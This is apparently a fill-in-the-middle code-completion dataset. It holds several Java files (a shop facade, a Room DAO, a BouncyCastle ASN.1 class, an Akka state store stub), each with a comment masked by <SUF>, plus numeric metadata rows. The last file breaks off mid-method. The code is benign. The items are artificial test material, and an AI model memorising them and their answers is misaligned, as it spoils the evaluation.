e.getChannel().sendMessage(eb.build()).queue(); } else { int ctr = 0; while (ctr < commands.size() && !commands.get(ctr).isCommandFor(command)) { ctr++; } if (ctr < commands.size()) { commands.get(ctr).run(Arrays.copyOfRange(words, 1, words.length), e); } else { for (Command c : testcommands) { if (c.isCommandFor(command)) { c.run(Arrays.copyOfRange(words, 1, words.length), e); } } } } } } }
True
915
145
1,058
152
1,068
133
1,058
152
1,199
152
false
false
false
false
false
true
3,555
97790_2
package nl.kadaster.brk.graphql.aantekening; import com.fasterxml.jackson.annotation.JsonInclude; import static com.fasterxml.jackson.annotation.JsonInclude.Include.NON_NULL; /** * @author Marc van Andel * @since 0.1 */ @JsonInclude(NON_NULL) public class KoopovereenkomstAantekening extends Aantekening { /** * Einddatum van de koopovereenkomst. */ public String einddatum; /** * Tijdstip waarop de aantekening komt te vervallen. */ public String tijdstipVervallen; }
marcvanandel/brk-graphql-example
src/main/java/nl/kadaster/brk/graphql/aantekening/KoopovereenkomstAantekening.java
180
/** * Tijdstip waarop de aantekening komt te vervallen. */
block_comment
nl
package nl.kadaster.brk.graphql.aantekening; import com.fasterxml.jackson.annotation.JsonInclude; import static com.fasterxml.jackson.annotation.JsonInclude.Include.NON_NULL; /** * @author Marc van Andel * @since 0.1 */ @JsonInclude(NON_NULL) public class KoopovereenkomstAantekening extends Aantekening { /** * Einddatum van de koopovereenkomst. */ public String einddatum; /** * Tijdstip waarop de<SUF>*/ public String tijdstipVervallen; }
True
136
21
163
23
150
20
163
23
185
24
false
false
false
false
false
true
854
22443_1
package model; import model.article.Article; import model.basket.Basket; import model.log.Log; import model.observer.Observer; import model.shop.Shop; import db.ArticleDbContext; import java.io.IOException; import java.util.*; /** * @author the team */ public class DomainFacade { private final Shop shop; private final Log log; public DomainFacade() throws IOException { Prop.load(); this.log = new Log(); this.shop = new Shop(log); } public Log getLog() { return log; } public List<String> getLogItems() { return log.getItems(); } public void addLogObserver(Observer observer) { log.addObserver(observer); } public Shop getShop() { return shop; } public ArticleDbContext getArticleDb() { return shop.getArticleDb(); } public void putSaleOnHold() { shop.putSaleOnHold(); } public void continueHeldSale() { shop.resumeSale(); } public boolean saleIsOnHold() { return shop.saleIsOnHold(); } public void addShopObserver(Observer observer) { shop.addObserver(observer); } public void removeShopObserver(Observer observer) { shop.removeObserver(observer); } //region Basket public Basket getBasket() { return shop.getBasket(); } public void updateDiscountContext() { getBasket().updateDiscountContext(); } public void addBasketObserver(Observer observer) { getBasket().addObserver(observer); } public void removeBasketObserver(Observer observer) { getBasket().removeObserver(observer); } public void closeBasket() { getBasket().close(); } public void payBasket() { getBasket().pay(); } public void cancelBasket() { getBasket().cancel(); } public void addBasketArticle(Article article) { getBasket().add(article); } public Collection<Article> getAllUniqueBasketArticles() { return getBasket().getAllUniqueArticles(); } public Map<Article, Integer> getBasketArticleStacks() { return getBasket().getArticleStacks(); } public void removeBasketArticle(Article article) { getBasket().remove(article); } public void removeBasketArticles(Map<Article, Integer> articleAmountsToRemove) { getBasket().removeAll(articleAmountsToRemove); } public void removeBasketArticles(Collection<Article> articles) { getBasket().removeAll(articles); } public void clearBasketArticles() { getBasket().clear(); } //Geeft prijs ZONDER toegepaste korting public double getBasketTotalPrice() { return getBasket().getTotalPrice(); } //Geeft totale prijs MET korting toegepast public double getBasketDiscountedPrice() { return getBasket().getTotalDiscountedPrice(); } //endregion }
JonasBerx/3_Berx_Draelants_Fiers_KassaApp_2019
src/model/DomainFacade.java
872
//Geeft prijs ZONDER toegepaste korting
line_comment
nl
package model; import model.article.Article; import model.basket.Basket; import model.log.Log; import model.observer.Observer; import model.shop.Shop; import db.ArticleDbContext; import java.io.IOException; import java.util.*; /** * @author the team */ public class DomainFacade { private final Shop shop; private final Log log; public DomainFacade() throws IOException { Prop.load(); this.log = new Log(); this.shop = new Shop(log); } public Log getLog() { return log; } public List<String> getLogItems() { return log.getItems(); } public void addLogObserver(Observer observer) { log.addObserver(observer); } public Shop getShop() { return shop; } public ArticleDbContext getArticleDb() { return shop.getArticleDb(); } public void putSaleOnHold() { shop.putSaleOnHold(); } public void continueHeldSale() { shop.resumeSale(); } public boolean saleIsOnHold() { return shop.saleIsOnHold(); } public void addShopObserver(Observer observer) { shop.addObserver(observer); } public void removeShopObserver(Observer observer) { shop.removeObserver(observer); } //region Basket public Basket getBasket() { return shop.getBasket(); } public void updateDiscountContext() { getBasket().updateDiscountContext(); } public void addBasketObserver(Observer observer) { getBasket().addObserver(observer); } public void removeBasketObserver(Observer observer) { getBasket().removeObserver(observer); } public void closeBasket() { getBasket().close(); } public void payBasket() { getBasket().pay(); } public void cancelBasket() { getBasket().cancel(); } public void addBasketArticle(Article article) { getBasket().add(article); } public Collection<Article> getAllUniqueBasketArticles() { return getBasket().getAllUniqueArticles(); } public Map<Article, Integer> getBasketArticleStacks() { return getBasket().getArticleStacks(); } public void removeBasketArticle(Article article) { getBasket().remove(article); } public void removeBasketArticles(Map<Article, Integer> articleAmountsToRemove) { getBasket().removeAll(articleAmountsToRemove); } public void removeBasketArticles(Collection<Article> articles) { getBasket().removeAll(articles); } public void clearBasketArticles() { getBasket().clear(); } //Geeft prijs<SUF> public double getBasketTotalPrice() { return getBasket().getTotalPrice(); } //Geeft totale prijs MET korting toegepast public double getBasketDiscountedPrice() { return getBasket().getTotalDiscountedPrice(); } //endregion }
True
627
14
680
15
743
10
680
15
888
16
false
false
false
false
false
true
643
37717_2
package be.SabahLeanderSteven.endtermandroidproject.model; import androidx.lifecycle.LiveData; import androidx.room.Dao; import androidx.room.Insert; import androidx.room.Query; import java.util.List; @Dao public interface LocationDAO { @Insert void insert(Location location); @Query("DELETE FROM locations") void deleteAll(); //vermijd het zelf aanspreken van getters etc., sowieso al geobserveerd //livedata werkt enkel met List, niet met ArrayList //wordt geen list, @Query("SELECT * from locations") LiveData<List<Location>> getAllLocations(); @Query("SELECT * FROM locations WHERE id LIKE :id") Location findLocationById(String id); @Query("SELECT * FROM locations WHERE type LIKE :type") LiveData<List<Location>> getAllLocationsOfType(String type); }
H3AR7B3A7/EndTermAndroidProject
app/src/main/java/be/SabahLeanderSteven/endtermandroidproject/model/LocationDAO.java
241
//wordt geen list,
line_comment
nl
package be.SabahLeanderSteven.endtermandroidproject.model; import androidx.lifecycle.LiveData; import androidx.room.Dao; import androidx.room.Insert; import androidx.room.Query; import java.util.List; @Dao public interface LocationDAO { @Insert void insert(Location location); @Query("DELETE FROM locations") void deleteAll(); //vermijd het zelf aanspreken van getters etc., sowieso al geobserveerd //livedata werkt enkel met List, niet met ArrayList //wordt geen<SUF> @Query("SELECT * from locations") LiveData<List<Location>> getAllLocations(); @Query("SELECT * FROM locations WHERE id LIKE :id") Location findLocationById(String id); @Query("SELECT * FROM locations WHERE type LIKE :type") LiveData<List<Location>> getAllLocationsOfType(String type); }
True
183
6
216
7
211
6
216
7
248
6
false
false
false
false
false
true
4,180
122344_18
package org.ripple.bouncycastle.asn1.isismtt.x509; import java.util.Enumeration; import org.ripple.bouncycastle.asn1.ASN1Encodable; import org.ripple.bouncycastle.asn1.ASN1EncodableVector; import org.ripple.bouncycastle.asn1.ASN1Object; import org.ripple.bouncycastle.asn1.ASN1ObjectIdentifier; import org.ripple.bouncycastle.asn1.ASN1OctetString; import org.ripple.bouncycastle.asn1.ASN1Primitive; import org.ripple.bouncycastle.asn1.ASN1Sequence; import org.ripple.bouncycastle.asn1.ASN1TaggedObject; import org.ripple.bouncycastle.asn1.DEROctetString; import org.ripple.bouncycastle.asn1.DERPrintableString; import org.ripple.bouncycastle.asn1.DERSequence; import org.ripple.bouncycastle.asn1.DERTaggedObject; import org.ripple.bouncycastle.asn1.x500.DirectoryString; /** * Professions, specializations, disciplines, fields of activity, etc. * * <pre> * ProfessionInfo ::= SEQUENCE * { * namingAuthority [0] EXPLICIT NamingAuthority OPTIONAL, * professionItems SEQUENCE OF DirectoryString (SIZE(1..128)), * professionOIDs SEQUENCE OF OBJECT IDENTIFIER OPTIONAL, * registrationNumber PrintableString(SIZE(1..128)) OPTIONAL, * addProfessionInfo OCTET STRING OPTIONAL * } * </pre> * * @see org.ripple.bouncycastle.asn1.isismtt.x509.AdmissionSyntax */ public class ProfessionInfo extends ASN1Object { /** * Rechtsanw�ltin */ public static final ASN1ObjectIdentifier Rechtsanwltin = new ASN1ObjectIdentifier( NamingAuthority.id_isismtt_at_namingAuthorities_RechtWirtschaftSteuern + ".1"); /** * Rechtsanwalt */ public static final ASN1ObjectIdentifier Rechtsanwalt = new ASN1ObjectIdentifier( NamingAuthority.id_isismtt_at_namingAuthorities_RechtWirtschaftSteuern + ".2"); /** * Rechtsbeistand */ public static final ASN1ObjectIdentifier Rechtsbeistand = new ASN1ObjectIdentifier( NamingAuthority.id_isismtt_at_namingAuthorities_RechtWirtschaftSteuern + ".3"); /** * Steuerberaterin */ public static final ASN1ObjectIdentifier Steuerberaterin = new ASN1ObjectIdentifier( NamingAuthority.id_isismtt_at_namingAuthorities_RechtWirtschaftSteuern + ".4"); /** * Steuerberater */ public static final ASN1ObjectIdentifier Steuerberater = new ASN1ObjectIdentifier( NamingAuthority.id_isismtt_at_namingAuthorities_RechtWirtschaftSteuern + ".5"); /** * Steuerbevollm�chtigte */ public static final ASN1ObjectIdentifier Steuerbevollmchtigte = new ASN1ObjectIdentifier( NamingAuthority.id_isismtt_at_namingAuthorities_RechtWirtschaftSteuern + ".6"); /** * Steuerbevollm�chtigter */ public static final ASN1ObjectIdentifier Steuerbevollmchtigter = new ASN1ObjectIdentifier( NamingAuthority.id_isismtt_at_namingAuthorities_RechtWirtschaftSteuern + ".7"); /** * Notarin */ public static final ASN1ObjectIdentifier Notarin = new ASN1ObjectIdentifier( NamingAuthority.id_isismtt_at_namingAuthorities_RechtWirtschaftSteuern + ".8"); /** * Notar */ public static final ASN1ObjectIdentifier Notar = new ASN1ObjectIdentifier( NamingAuthority.id_isismtt_at_namingAuthorities_RechtWirtschaftSteuern + ".9"); /** * Notarvertreterin */ public static final ASN1ObjectIdentifier Notarvertreterin = new ASN1ObjectIdentifier( NamingAuthority.id_isismtt_at_namingAuthorities_RechtWirtschaftSteuern + ".10"); /** * Notarvertreter */ public static final ASN1ObjectIdentifier Notarvertreter = new ASN1ObjectIdentifier( NamingAuthority.id_isismtt_at_namingAuthorities_RechtWirtschaftSteuern + ".11"); /** * Notariatsverwalterin */ public static final ASN1ObjectIdentifier Notariatsverwalterin = new ASN1ObjectIdentifier( NamingAuthority.id_isismtt_at_namingAuthorities_RechtWirtschaftSteuern + ".12"); /** * Notariatsverwalter */ public static final ASN1ObjectIdentifier Notariatsverwalter = new ASN1ObjectIdentifier( NamingAuthority.id_isismtt_at_namingAuthorities_RechtWirtschaftSteuern + ".13"); /** * Wirtschaftspr�ferin */ public static final ASN1ObjectIdentifier Wirtschaftsprferin = new ASN1ObjectIdentifier( NamingAuthority.id_isismtt_at_namingAuthorities_RechtWirtschaftSteuern + ".14"); /** * Wirtschaftspr�fer */ public static final ASN1ObjectIdentifier Wirtschaftsprfer = new ASN1ObjectIdentifier( NamingAuthority.id_isismtt_at_namingAuthorities_RechtWirtschaftSteuern + ".15"); /** * Vereidigte Buchpr�ferin */ public static final ASN1ObjectIdentifier VereidigteBuchprferin = new ASN1ObjectIdentifier( NamingAuthority.id_isismtt_at_namingAuthorities_RechtWirtschaftSteuern + ".16"); /** * Vereidigter Buchpr�fer */ public static final ASN1ObjectIdentifier VereidigterBuchprfer = new ASN1ObjectIdentifier( NamingAuthority.id_isismtt_at_namingAuthorities_RechtWirtschaftSteuern + ".17"); /** * Patentanw�ltin */ public static final ASN1ObjectIdentifier Patentanwltin = new ASN1ObjectIdentifier( NamingAuthority.id_isismtt_at_namingAuthorities_RechtWirtschaftSteuern + ".18"); /** * Patentanwalt */ public static final ASN1ObjectIdentifier Patentanwalt = new ASN1ObjectIdentifier( NamingAuthority.id_isismtt_at_namingAuthorities_RechtWirtschaftSteuern + ".19"); private NamingAuthority namingAuthority; private ASN1Sequence professionItems; private ASN1Sequence professionOIDs; private String registrationNumber; private ASN1OctetString addProfessionInfo; public static ProfessionInfo getInstance(Object obj) { if (obj == null || obj instanceof ProfessionInfo) { return (ProfessionInfo)obj; } if (obj instanceof ASN1Sequence) { return new ProfessionInfo((ASN1Sequence)obj); } throw new IllegalArgumentException("illegal object in getInstance: " + obj.getClass().getName()); } /** * Constructor from ASN1Sequence. * <pre> * ProfessionInfo ::= SEQUENCE * { * namingAuthority [0] EXPLICIT NamingAuthority OPTIONAL, * professionItems SEQUENCE OF DirectoryString (SIZE(1..128)), * professionOIDs SEQUENCE OF OBJECT IDENTIFIER OPTIONAL, * registrationNumber PrintableString(SIZE(1..128)) OPTIONAL, * addProfessionInfo OCTET STRING OPTIONAL * } * </pre> * * @param seq The ASN.1 sequence. */ private ProfessionInfo(ASN1Sequence seq) { if (seq.size() > 5) { throw new IllegalArgumentException("Bad sequence size: " + seq.size()); } Enumeration e = seq.getObjects(); ASN1Encodable o = (ASN1Encodable)e.nextElement(); if (o instanceof ASN1TaggedObject) { if (((ASN1TaggedObject)o).getTagNo() != 0) { throw new IllegalArgumentException("Bad tag number: " + ((ASN1TaggedObject)o).getTagNo()); } namingAuthority = NamingAuthority.getInstance((ASN1TaggedObject)o, true); o = (ASN1Encodable)e.nextElement(); } professionItems = ASN1Sequence.getInstance(o); if (e.hasMoreElements()) { o = (ASN1Encodable)e.nextElement(); if (o instanceof ASN1Sequence) { professionOIDs = ASN1Sequence.getInstance(o); } else if (o instanceof DERPrintableString) { registrationNumber = DERPrintableString.getInstance(o).getString(); } else if (o instanceof ASN1OctetString) { addProfessionInfo = ASN1OctetString.getInstance(o); } else { throw new IllegalArgumentException("Bad object encountered: " + o.getClass()); } } if (e.hasMoreElements()) { o = (ASN1Encodable)e.nextElement(); if (o instanceof DERPrintableString) { registrationNumber = DERPrintableString.getInstance(o).getString(); } else if (o instanceof DEROctetString) { addProfessionInfo = (DEROctetString)o; } else { throw new IllegalArgumentException("Bad object encountered: " + o.getClass()); } } if (e.hasMoreElements()) { o = (ASN1Encodable)e.nextElement(); if (o instanceof DEROctetString) { addProfessionInfo = (DEROctetString)o; } else { throw new IllegalArgumentException("Bad object encountered: " + o.getClass()); } } } /** * Constructor from given details. * <p> * <code>professionItems</code> is mandatory, all other parameters are * optional. * * @param namingAuthority The naming authority. * @param professionItems Directory strings of the profession. * @param professionOIDs DERObjectIdentfier objects for the * profession. * @param registrationNumber Registration number. * @param addProfessionInfo Additional infos in encoded form. */ public ProfessionInfo(NamingAuthority namingAuthority, DirectoryString[] professionItems, ASN1ObjectIdentifier[] professionOIDs, String registrationNumber, ASN1OctetString addProfessionInfo) { this.namingAuthority = namingAuthority; ASN1EncodableVector v = new ASN1EncodableVector(); for (int i = 0; i != professionItems.length; i++) { v.add(professionItems[i]); } this.professionItems = new DERSequence(v); if (professionOIDs != null) { v = new ASN1EncodableVector(); for (int i = 0; i != professionOIDs.length; i++) { v.add(professionOIDs[i]); } this.professionOIDs = new DERSequence(v); } this.registrationNumber = registrationNumber; this.addProfessionInfo = addProfessionInfo; } /** * Produce an object suitable for an ASN1OutputStream. * <p> * Returns: * <pre> * ProfessionInfo ::= SEQUENCE * { * namingAuthority [0] EXPLICIT NamingAuthority OPTIONAL, * professionItems SEQUENCE OF DirectoryString (SIZE(1..128)), * professionOIDs SEQUENCE OF OBJECT IDENTIFIER OPTIONAL, * registrationNumber PrintableString(SIZE(1..128)) OPTIONAL, * addProfessionInfo OCTET STRING OPTIONAL * } * </pre> * * @return a DERObject */ public ASN1Primitive toASN1Primitive() { ASN1EncodableVector vec = new ASN1EncodableVector(); if (namingAuthority != null) { vec.add(new DERTaggedObject(true, 0, namingAuthority)); } vec.add(professionItems); if (professionOIDs != null) { vec.add(professionOIDs); } if (registrationNumber != null) { vec.add(new DERPrintableString(registrationNumber, true)); } if (addProfessionInfo != null) { vec.add(addProfessionInfo); } return new DERSequence(vec); } /** * @return Returns the addProfessionInfo. */ public ASN1OctetString getAddProfessionInfo() { return addProfessionInfo; } /** * @return Returns the namingAuthority. */ public NamingAuthority getNamingAuthority() { return namingAuthority; } /** * @return Returns the professionItems. */ public DirectoryString[] getProfessionItems() { DirectoryString[] items = new DirectoryString[professionItems.size()]; int count = 0; for (Enumeration e = professionItems.getObjects(); e.hasMoreElements();) { items[count++] = DirectoryString.getInstance(e.nextElement()); } return items; } /** * @return Returns the professionOIDs. */ public ASN1ObjectIdentifier[] getProfessionOIDs() { if (professionOIDs == null) { return new ASN1ObjectIdentifier[0]; } ASN1ObjectIdentifier[] oids = new ASN1ObjectIdentifier[professionOIDs.size()]; int count = 0; for (Enumeration e = professionOIDs.getObjects(); e.hasMoreElements();) { oids[count++] = ASN1ObjectIdentifier.getInstance(e.nextElement()); } return oids; } /** * @return Returns the registrationNumber. */ public String getRegistrationNumber() { return registrationNumber; } }
ripple-unmaintained/ripple-lib-java
ripple-bouncycastle/src/main/java/org/ripple/bouncycastle/asn1/isismtt/x509/ProfessionInfo.java
4,055
/** * Patentanw�ltin */
block_comment
nl
package org.ripple.bouncycastle.asn1.isismtt.x509; import java.util.Enumeration; import org.ripple.bouncycastle.asn1.ASN1Encodable; import org.ripple.bouncycastle.asn1.ASN1EncodableVector; import org.ripple.bouncycastle.asn1.ASN1Object; import org.ripple.bouncycastle.asn1.ASN1ObjectIdentifier; import org.ripple.bouncycastle.asn1.ASN1OctetString; import org.ripple.bouncycastle.asn1.ASN1Primitive; import org.ripple.bouncycastle.asn1.ASN1Sequence; import org.ripple.bouncycastle.asn1.ASN1TaggedObject; import org.ripple.bouncycastle.asn1.DEROctetString; import org.ripple.bouncycastle.asn1.DERPrintableString; import org.ripple.bouncycastle.asn1.DERSequence; import org.ripple.bouncycastle.asn1.DERTaggedObject; import org.ripple.bouncycastle.asn1.x500.DirectoryString; /** * Professions, specializations, disciplines, fields of activity, etc. * * <pre> * ProfessionInfo ::= SEQUENCE * { * namingAuthority [0] EXPLICIT NamingAuthority OPTIONAL, * professionItems SEQUENCE OF DirectoryString (SIZE(1..128)), * professionOIDs SEQUENCE OF OBJECT IDENTIFIER OPTIONAL, * registrationNumber PrintableString(SIZE(1..128)) OPTIONAL, * addProfessionInfo OCTET STRING OPTIONAL * } * </pre> * * @see org.ripple.bouncycastle.asn1.isismtt.x509.AdmissionSyntax */ public class ProfessionInfo extends ASN1Object { /** * Rechtsanw�ltin */ public static final ASN1ObjectIdentifier Rechtsanwltin = new ASN1ObjectIdentifier( NamingAuthority.id_isismtt_at_namingAuthorities_RechtWirtschaftSteuern + ".1"); /** * Rechtsanwalt */ public static final ASN1ObjectIdentifier Rechtsanwalt = new ASN1ObjectIdentifier( NamingAuthority.id_isismtt_at_namingAuthorities_RechtWirtschaftSteuern + ".2"); /** * Rechtsbeistand */ public static final ASN1ObjectIdentifier Rechtsbeistand = new ASN1ObjectIdentifier( NamingAuthority.id_isismtt_at_namingAuthorities_RechtWirtschaftSteuern + ".3"); /** * Steuerberaterin */ public static final ASN1ObjectIdentifier Steuerberaterin = new ASN1ObjectIdentifier( NamingAuthority.id_isismtt_at_namingAuthorities_RechtWirtschaftSteuern + ".4"); /** * Steuerberater */ public static final ASN1ObjectIdentifier Steuerberater = new ASN1ObjectIdentifier( NamingAuthority.id_isismtt_at_namingAuthorities_RechtWirtschaftSteuern + ".5"); /** * Steuerbevollm�chtigte */ public static final ASN1ObjectIdentifier Steuerbevollmchtigte = new ASN1ObjectIdentifier( NamingAuthority.id_isismtt_at_namingAuthorities_RechtWirtschaftSteuern + ".6"); /** * Steuerbevollm�chtigter */ public static final ASN1ObjectIdentifier Steuerbevollmchtigter = new ASN1ObjectIdentifier( NamingAuthority.id_isismtt_at_namingAuthorities_RechtWirtschaftSteuern + ".7"); /** * Notarin */ public static final ASN1ObjectIdentifier Notarin = new ASN1ObjectIdentifier( NamingAuthority.id_isismtt_at_namingAuthorities_RechtWirtschaftSteuern + ".8"); /** * Notar */ public static final ASN1ObjectIdentifier Notar = new ASN1ObjectIdentifier( NamingAuthority.id_isismtt_at_namingAuthorities_RechtWirtschaftSteuern + ".9"); /** * Notarvertreterin */ public static final ASN1ObjectIdentifier Notarvertreterin = new ASN1ObjectIdentifier( NamingAuthority.id_isismtt_at_namingAuthorities_RechtWirtschaftSteuern + ".10"); /** * Notarvertreter */ public static final ASN1ObjectIdentifier Notarvertreter = new ASN1ObjectIdentifier( NamingAuthority.id_isismtt_at_namingAuthorities_RechtWirtschaftSteuern + ".11"); /** * Notariatsverwalterin */ public static final ASN1ObjectIdentifier Notariatsverwalterin = new ASN1ObjectIdentifier( NamingAuthority.id_isismtt_at_namingAuthorities_RechtWirtschaftSteuern + ".12"); /** * Notariatsverwalter */ public static final ASN1ObjectIdentifier Notariatsverwalter = new ASN1ObjectIdentifier( NamingAuthority.id_isismtt_at_namingAuthorities_RechtWirtschaftSteuern + ".13"); /** * Wirtschaftspr�ferin */ public static final ASN1ObjectIdentifier Wirtschaftsprferin = new ASN1ObjectIdentifier( NamingAuthority.id_isismtt_at_namingAuthorities_RechtWirtschaftSteuern + ".14"); /** * Wirtschaftspr�fer */ public static final ASN1ObjectIdentifier Wirtschaftsprfer = new ASN1ObjectIdentifier( NamingAuthority.id_isismtt_at_namingAuthorities_RechtWirtschaftSteuern + ".15"); /** * Vereidigte Buchpr�ferin */ public static final ASN1ObjectIdentifier VereidigteBuchprferin = new ASN1ObjectIdentifier( NamingAuthority.id_isismtt_at_namingAuthorities_RechtWirtschaftSteuern + ".16"); /** * Vereidigter Buchpr�fer */ public static final ASN1ObjectIdentifier VereidigterBuchprfer = new ASN1ObjectIdentifier( NamingAuthority.id_isismtt_at_namingAuthorities_RechtWirtschaftSteuern + ".17"); /** * Patentanw�ltin <SUF>*/ public static final ASN1ObjectIdentifier Patentanwltin = new ASN1ObjectIdentifier( NamingAuthority.id_isismtt_at_namingAuthorities_RechtWirtschaftSteuern + ".18"); /** * Patentanwalt */ public static final ASN1ObjectIdentifier Patentanwalt = new ASN1ObjectIdentifier( NamingAuthority.id_isismtt_at_namingAuthorities_RechtWirtschaftSteuern + ".19"); private NamingAuthority namingAuthority; private ASN1Sequence professionItems; private ASN1Sequence professionOIDs; private String registrationNumber; private ASN1OctetString addProfessionInfo; public static ProfessionInfo getInstance(Object obj) { if (obj == null || obj instanceof ProfessionInfo) { return (ProfessionInfo)obj; } if (obj instanceof ASN1Sequence) { return new ProfessionInfo((ASN1Sequence)obj); } throw new IllegalArgumentException("illegal object in getInstance: " + obj.getClass().getName()); } /** * Constructor from ASN1Sequence. * <pre> * ProfessionInfo ::= SEQUENCE * { * namingAuthority [0] EXPLICIT NamingAuthority OPTIONAL, * professionItems SEQUENCE OF DirectoryString (SIZE(1..128)), * professionOIDs SEQUENCE OF OBJECT IDENTIFIER OPTIONAL, * registrationNumber PrintableString(SIZE(1..128)) OPTIONAL, * addProfessionInfo OCTET STRING OPTIONAL * } * </pre> * * @param seq The ASN.1 sequence. */ private ProfessionInfo(ASN1Sequence seq) { if (seq.size() > 5) { throw new IllegalArgumentException("Bad sequence size: " + seq.size()); } Enumeration e = seq.getObjects(); ASN1Encodable o = (ASN1Encodable)e.nextElement(); if (o instanceof ASN1TaggedObject) { if (((ASN1TaggedObject)o).getTagNo() != 0) { throw new IllegalArgumentException("Bad tag number: " + ((ASN1TaggedObject)o).getTagNo()); } namingAuthority = NamingAuthority.getInstance((ASN1TaggedObject)o, true); o = (ASN1Encodable)e.nextElement(); } professionItems = ASN1Sequence.getInstance(o); if (e.hasMoreElements()) { o = (ASN1Encodable)e.nextElement(); if (o instanceof ASN1Sequence) { professionOIDs = ASN1Sequence.getInstance(o); } else if (o instanceof DERPrintableString) { registrationNumber = DERPrintableString.getInstance(o).getString(); } else if (o instanceof ASN1OctetString) { addProfessionInfo = ASN1OctetString.getInstance(o); } else { throw new IllegalArgumentException("Bad object encountered: " + o.getClass()); } } if (e.hasMoreElements()) { o = (ASN1Encodable)e.nextElement(); if (o instanceof DERPrintableString) { registrationNumber = DERPrintableString.getInstance(o).getString(); } else if (o instanceof DEROctetString) { addProfessionInfo = (DEROctetString)o; } else { throw new IllegalArgumentException("Bad object encountered: " + o.getClass()); } } if (e.hasMoreElements()) { o = (ASN1Encodable)e.nextElement(); if (o instanceof DEROctetString) { addProfessionInfo = (DEROctetString)o; } else { throw new IllegalArgumentException("Bad object encountered: " + o.getClass()); } } } /** * Constructor from given details. * <p> * <code>professionItems</code> is mandatory, all other parameters are * optional. * * @param namingAuthority The naming authority. * @param professionItems Directory strings of the profession. * @param professionOIDs DERObjectIdentfier objects for the * profession. * @param registrationNumber Registration number. * @param addProfessionInfo Additional infos in encoded form. */ public ProfessionInfo(NamingAuthority namingAuthority, DirectoryString[] professionItems, ASN1ObjectIdentifier[] professionOIDs, String registrationNumber, ASN1OctetString addProfessionInfo) { this.namingAuthority = namingAuthority; ASN1EncodableVector v = new ASN1EncodableVector(); for (int i = 0; i != professionItems.length; i++) { v.add(professionItems[i]); } this.professionItems = new DERSequence(v); if (professionOIDs != null) { v = new ASN1EncodableVector(); for (int i = 0; i != professionOIDs.length; i++) { v.add(professionOIDs[i]); } this.professionOIDs = new DERSequence(v); } this.registrationNumber = registrationNumber; this.addProfessionInfo = addProfessionInfo; } /** * Produce an object suitable for an ASN1OutputStream. * <p> * Returns: * <pre> * ProfessionInfo ::= SEQUENCE * { * namingAuthority [0] EXPLICIT NamingAuthority OPTIONAL, * professionItems SEQUENCE OF DirectoryString (SIZE(1..128)), * professionOIDs SEQUENCE OF OBJECT IDENTIFIER OPTIONAL, * registrationNumber PrintableString(SIZE(1..128)) OPTIONAL, * addProfessionInfo OCTET STRING OPTIONAL * } * </pre> * * @return a DERObject */ public ASN1Primitive toASN1Primitive() { ASN1EncodableVector vec = new ASN1EncodableVector(); if (namingAuthority != null) { vec.add(new DERTaggedObject(true, 0, namingAuthority)); } vec.add(professionItems); if (professionOIDs != null) { vec.add(professionOIDs); } if (registrationNumber != null) { vec.add(new DERPrintableString(registrationNumber, true)); } if (addProfessionInfo != null) { vec.add(addProfessionInfo); } return new DERSequence(vec); } /** * @return Returns the addProfessionInfo. */ public ASN1OctetString getAddProfessionInfo() { return addProfessionInfo; } /** * @return Returns the namingAuthority. */ public NamingAuthority getNamingAuthority() { return namingAuthority; } /** * @return Returns the professionItems. */ public DirectoryString[] getProfessionItems() { DirectoryString[] items = new DirectoryString[professionItems.size()]; int count = 0; for (Enumeration e = professionItems.getObjects(); e.hasMoreElements();) { items[count++] = DirectoryString.getInstance(e.nextElement()); } return items; } /** * @return Returns the professionOIDs. */ public ASN1ObjectIdentifier[] getProfessionOIDs() { if (professionOIDs == null) { return new ASN1ObjectIdentifier[0]; } ASN1ObjectIdentifier[] oids = new ASN1ObjectIdentifier[professionOIDs.size()]; int count = 0; for (Enumeration e = professionOIDs.getObjects(); e.hasMoreElements();) { oids[count++] = ASN1ObjectIdentifier.getInstance(e.nextElement()); } return oids; } /** * @return Returns the registrationNumber. */ public String getRegistrationNumber() { return registrationNumber; } }
False
3,045
12
3,340
12
3,356
12
3,340
12
4,067
14
false
false
false
false
false
true
1,992
20202_7
/* * Copyright (C) 2023 Lightbend Inc. <https://www.lightbend.com> */ package docs.persistence.state; // #plugin-imports import akka.Done; import akka.actor.ExtendedActorSystem; import akka.persistence.state.javadsl.DurableStateUpdateWithChangeEventStore; import akka.persistence.state.javadsl.GetObjectResult; import com.typesafe.config.Config; import java.util.concurrent.CompletionStage; // #plugin-imports // #state-store-plugin-api class MyChangeEventJavaStateStore<A> implements DurableStateUpdateWithChangeEventStore<A> { private ExtendedActorSystem system; private Config config; private String cfgPath; public MyChangeEventJavaStateStore(ExtendedActorSystem system, Config config, String cfgPath) { this.system = system; this.config = config; this.cfgPath = cfgPath; } /** * Will delete the state by setting it to the empty state and the revision number will be * incremented by 1. */ @Override public CompletionStage<Done> deleteObject(String persistenceId, long revision) { // implement deleteObject here return null; } @Override public CompletionStage<Done> deleteObject( String persistenceId, long revision, Object changeEvent) { // implement deleteObject here return null; } /** Returns the current state for the given persistence id. */ @Override public CompletionStage<GetObjectResult<A>> getObject(String persistenceId) { // implement getObject here return null; } /** * Will persist the latest state. If it’s a new persistence id, the record will be inserted. * * <p>In case of an existing persistence id, the record will be updated only if the revision * number of the incoming record is 1 more than the already existing record. Otherwise persist * will fail. */ @Override public CompletionStage<Done> upsertObject( String persistenceId, long revision, Object value, String tag) { // implement upsertObject here return null; } /** Deprecated. Use the deleteObject overload with revision instead. */ @Override public CompletionStage<Done> deleteObject(String persistenceId) { return deleteObject(persistenceId, 0); } @Override public CompletionStage<Done> upsertObject( String persistenceId, long revision, A value, String tag, Object changeEvent) { // implement deleteObject here return null; } } // #state-store-plugin-api
akka/akka
akka-docs/src/main/java/docs/persistence/state/MyChangeEventJavaStateStore.java
690
// implement upsertObject here
line_comment
nl
/* * Copyright (C) 2023 Lightbend Inc. <https://www.lightbend.com> */ package docs.persistence.state; // #plugin-imports import akka.Done; import akka.actor.ExtendedActorSystem; import akka.persistence.state.javadsl.DurableStateUpdateWithChangeEventStore; import akka.persistence.state.javadsl.GetObjectResult; import com.typesafe.config.Config; import java.util.concurrent.CompletionStage; // #plugin-imports // #state-store-plugin-api class MyChangeEventJavaStateStore<A> implements DurableStateUpdateWithChangeEventStore<A> { private ExtendedActorSystem system; private Config config; private String cfgPath; public MyChangeEventJavaStateStore(ExtendedActorSystem system, Config config, String cfgPath) { this.system = system; this.config = config; this.cfgPath = cfgPath; } /** * Will delete the state by setting it to the empty state and the revision number will be * incremented by 1. */ @Override public CompletionStage<Done> deleteObject(String persistenceId, long revision) { // implement deleteObject here return null; } @Override public 